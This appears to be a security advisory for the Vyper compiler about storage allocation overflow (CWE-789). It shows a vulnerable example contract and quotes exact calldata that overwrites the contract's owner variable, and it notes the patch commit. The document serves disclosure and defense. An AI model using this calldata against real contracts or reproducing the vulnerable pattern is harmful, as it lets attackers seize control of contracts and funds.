The storage allocator does not guard against allocation overflows. This can result in vulnerabilities like the following:
owner: public(address)
take_up_some_space: public(uint256[10])
buffer: public(uint256[max_value(uint256)])
@external
def initialize():
self.owner = msg.sender
@external
def foo(idx: uint256, data: uint256):
self.buffer[idx] = data
Per @toonvanhove, "An attacker can overwrite the owner variable by calling this contract with calldata: 0x04bc52f8 fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff5 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
(spaces inserted for readability)
0x04bc52f8
is the selector for foo(uint256, uint256)
, and the last argument fff...fff
is the new value for the owner variable."
patched in 0bb7203b584e771b23536ba065a6efda457161bb
Is there a way for users to fix or remediate the vulnerability without upgrading?
Are there any links users can visit to find out more?
{ "nvd_published_at": "2023-05-08T17:15:12Z", "cwe_ids": [ "CWE-789" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2023-05-05T22:22:23Z" }